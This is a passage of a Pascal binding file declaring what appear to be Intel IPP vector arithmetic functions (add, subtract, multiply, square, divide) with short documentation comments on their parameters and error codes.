function ippsSubCRev_32sc_ISfs( val : Ipp32sc ; pSrcDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_32s_ISfs( val : Ipp32s ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_32sc_ISfs( val : Ipp32sc ; pSrcDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_32f( pSrc : Ipp32fPtr ; val : Ipp32f ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_32fc( pSrc : Ipp32fcPtr ; val : Ipp32fc ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_32f( pSrc : Ipp32fPtr ; val : Ipp32f ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_32fc( pSrc : Ipp32fcPtr ; val : Ipp32fc ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubCRev_32f( pSrc : Ipp32fPtr ; val : Ipp32f ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubCRev_32fc( pSrc : Ipp32fcPtr ; val : Ipp32fc ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_32f( pSrc : Ipp32fPtr ; val : Ipp32f ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_32fc( pSrc : Ipp32fcPtr ; val : Ipp32fc ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_64f( pSrc : Ipp64fPtr ; val : Ipp64f ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_64fc( pSrc : Ipp64fcPtr ; val : Ipp64fc ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_64f( pSrc : Ipp64fPtr ; val : Ipp64f ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_64fc( pSrc : Ipp64fcPtr ; val : Ipp64fc ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubCRev_64f( pSrc : Ipp64fPtr ; val : Ipp64f ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubCRev_64fc( pSrc : Ipp64fcPtr ; val : Ipp64fc ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_64f( pSrc : Ipp64fPtr ; val : Ipp64f ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_64fc( pSrc : Ipp64fcPtr ; val : Ipp64fc ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_8u_Sfs( pSrc : Ipp8uPtr ; val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_8u_Sfs( pSrc : Ipp8uPtr ; val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_8u_Sfs( pSrc : Ipp8uPtr ; val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_8u_Sfs( pSrc : Ipp8uPtr ; val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_16s_Sfs( pSrc : Ipp16sPtr ; val : Ipp16s ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_16sc_Sfs( pSrc : Ipp16scPtr ; val : Ipp16sc ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_16s_Sfs( pSrc : Ipp16sPtr ; val : Ipp16s ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_16sc_Sfs( pSrc : Ipp16scPtr ; val : Ipp16sc ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_16s_Sfs( pSrc : Ipp16sPtr ; val : Ipp16s ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_16sc_Sfs( pSrc : Ipp16scPtr ; val : Ipp16sc ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_16s_Sfs( pSrc : Ipp16sPtr ; val : Ipp16s ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_16sc_Sfs( pSrc : Ipp16scPtr ; val : Ipp16sc ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_32s_Sfs( pSrc : Ipp32sPtr ; val : Ipp32s ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_32sc_Sfs( pSrc : Ipp32scPtr ; val : Ipp32sc ; pDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_32s_Sfs( pSrc : Ipp32sPtr ; val : Ipp32s ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_32sc_Sfs( pSrc : Ipp32scPtr ; val : Ipp32sc ; pDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_32s_Sfs( pSrc : Ipp32sPtr ; val : Ipp32s ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_32sc_Sfs( pSrc : Ipp32scPtr ; val : Ipp32sc ; pDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_32s_Sfs( pSrc : Ipp32sPtr ; val : Ipp32s ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_32sc_Sfs( pSrc : Ipp32scPtr ; val : Ipp32sc ; pDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_16s_I( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_16s_I( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_16s_I( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_32fc_I( pSrc : Ipp32fcPtr ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_32fc_I( pSrc : Ipp32fcPtr ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_32fc_I( pSrc : Ipp32fcPtr ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_64fc_I( pSrc : Ipp64fcPtr ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_64fc_I( pSrc : Ipp64fcPtr ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_64fc_I( pSrc : Ipp64fcPtr ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_64u_Sfs( pSrc : Ipp64uPtr ; val : Ipp64u ; pDst : Ipp64uPtr ; len : Ipp32u ; scaleFactor : Int32 ; rndMode : IppRoundMode ): IppStatus; _ippapi
function ippsAddC_64s_Sfs( pSrc : Ipp64sPtr ; val : Ipp64s ; pDst : Ipp64sPtr ; len : Ipp32u ; scaleFactor : Int32 ; rndMode : IppRoundMode ): IppStatus; _ippapi
function ippsAdd_8u_ISfs( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_8u_ISfs( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_8u_ISfs( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_16s_ISfs( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_16sc_ISfs( pSrc : Ipp16scPtr ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_16s_ISfs( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_16sc_ISfs( pSrc : Ipp16scPtr ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_16s_ISfs( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_16sc_ISfs( pSrc : Ipp16scPtr ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_32s_ISfs( pSrc : Ipp32sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_32sc_ISfs( pSrc : Ipp32scPtr ; pSrcDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_32s_ISfs( pSrc : Ipp32sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_32sc_ISfs( pSrc : Ipp32scPtr ; pSrcDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_32s_ISfs( pSrc : Ipp32sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_32sc_ISfs( pSrc : Ipp32scPtr ; pSrcDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_8u16u( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_8u16u( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_16s( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_16s( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_16s( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_16u( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_32u( pSrc1 : Ipp32uPtr ; pSrc2 : Ipp32uPtr ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_16s32f( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_16s32f( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_16s32f( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_32fc( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_32fc( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_32fc( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_64fc( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSub_64fc( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_64fc( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_8u_Sfs( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_8u_Sfs( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_8u_Sfs( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_16s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_16sc_Sfs( pSrc1 : Ipp16scPtr ; pSrc2 : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_16s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_16sc_Sfs( pSrc1 : Ipp16scPtr ; pSrc2 : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_16s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_16sc_Sfs( pSrc1 : Ipp16scPtr ; pSrc2 : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_16s32s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_32s_Sfs( pSrc1 : Ipp32sPtr ; pSrc2 : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_64s_Sfs( pSrc1 : Ipp64sPtr ; pSrc2 : Ipp64sPtr ; pDst : Ipp64sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_32sc_Sfs( pSrc1 : Ipp32scPtr ; pSrc2 : Ipp32scPtr ; pDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_32s_Sfs( pSrc1 : Ipp32sPtr ; pSrc2 : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_32sc_Sfs( pSrc1 : Ipp32scPtr ; pSrc2 : Ipp32scPtr ; pDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_32s_Sfs( pSrc1 : Ipp32sPtr ; pSrc2 : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_32sc_Sfs( pSrc1 : Ipp32scPtr ; pSrc2 : Ipp32scPtr ; pDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_16u16s_Sfs( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_32f32fc_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMul_32f32fc( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAdd_16s32s_I( pSrc : Ipp16sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_16u_ISfs( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_16u_Sfs( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_16u_ISfs( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAdd_16u_Sfs( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_16u_ISfs( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_16u_Sfs( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_16u_ISfs( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_16u_Sfs( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_16u_ISfs( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSub_16u_Sfs( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_16u_ISfs( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_16u_Sfs( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_16u_ISfs( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMul_16u_Sfs( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_64s_ISfs( val : Ipp64s ; pSrcDst : Ipp64sPtr ; len : Ipp32u ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_64f64s_ISfs( val : Ipp64f ; pSrcDst : Ipp64sPtr ; len : Ipp32u ; scaleFactor : Int32 ): IppStatus; _ippapi
{----------------------------------------------------------------------------
Name: ippsAddProduct
Purpose: multiplies elements of two source vectors and adds product to
the accumulator vector
Parameters:
pSrc1 pointer to the first source vector
pSrc2 pointer to the second source vector
pSrcDst pointer to the source/destination (accumulator) vector
len length of the vectors
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Notes: pSrcDst[n] = pSrcDst[n] + pSrc1[n] Ptr pSrc2[n], n=0,1,2,..len-1.
}
function ippsAddProduct_16s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddProduct_16s32s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddProduct_32s_Sfs( pSrc1 : Ipp32sPtr ; pSrc2 : Ipp32sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddProduct_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddProduct_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddProduct_32fc( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddProduct_64fc( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsSqr
Purpose: compute square value for every element of the source vector
Parameters:
pSrcDst pointer to the source/destination vector
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) the source data NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsSqr_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqr_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqr_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqr_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqr_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqr_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqr_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqr_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqr_16s_ISfs( pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqr_16sc_ISfs( pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqr_16s_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqr_16sc_Sfs( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqr_8u_ISfs( pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqr_8u_Sfs( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqr_16u_ISfs( pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqr_16u_Sfs( pSrc : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDiv
Purpose: divide every element of the source vector by the scalar value
or by corresponding element of the second source vector
Arguments:
val the divisor value
pSrc pointer to the divisor source vector
pSrc1 pointer to the divisor source vector
pSrc2 pointer to the dividend source vector
pDst pointer to the destination vector
pSrcDst pointer to the source/destination vector
len vector's length, number of items
scaleFactor scale factor parameter value
Return:
ippStsNullPtrErr pointer(s) to the data vector is NULL
ippStsSizeErr length of the vector is less or equal zero
ippStsDivByZeroErr the scalar divisor value is zero
ippStsDivByZero Warning status if an element of divisor vector is
zero. If the dividend is zero than result is
NaN, if the dividend is not zero than result
is Infinity with correspondent sign. The
execution is not aborted. For the integer operation
zero instead of NaN and the corresponding bound
values instead of Infinity
ippStsNoErr otherwise
Note:
DivC(v,X,Y) : Y[n] = X[n] / v
DivC(v,X) : X[n] = X[n] / v
Div(X,Y) : Y[n] = Y[n] / X[n]
Div(X,Y,Z) : Z[n] = Y[n] / X[n]
}
function ippsDiv_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDiv_32fc( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDiv_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDiv_64fc( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDiv_16s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_8u_Sfs( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_16sc_Sfs( pSrc1 : Ipp16scPtr ; pSrc2 : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivC_32f( pSrc : Ipp32fPtr ; val : Ipp32f ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_32fc( pSrc : Ipp32fcPtr ; val : Ipp32fc ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_64f( pSrc : Ipp64fPtr ; val : Ipp64f ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_64fc( pSrc : Ipp64fcPtr ; val : Ipp64fc ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_16s_Sfs( pSrc : Ipp16sPtr ; val : Ipp16s ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivC_8u_Sfs( pSrc : Ipp8uPtr ; val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivC_16sc_Sfs( pSrc : Ipp16scPtr ; val : Ipp16sc ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDiv_32fc_I( pSrc : Ipp32fcPtr ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
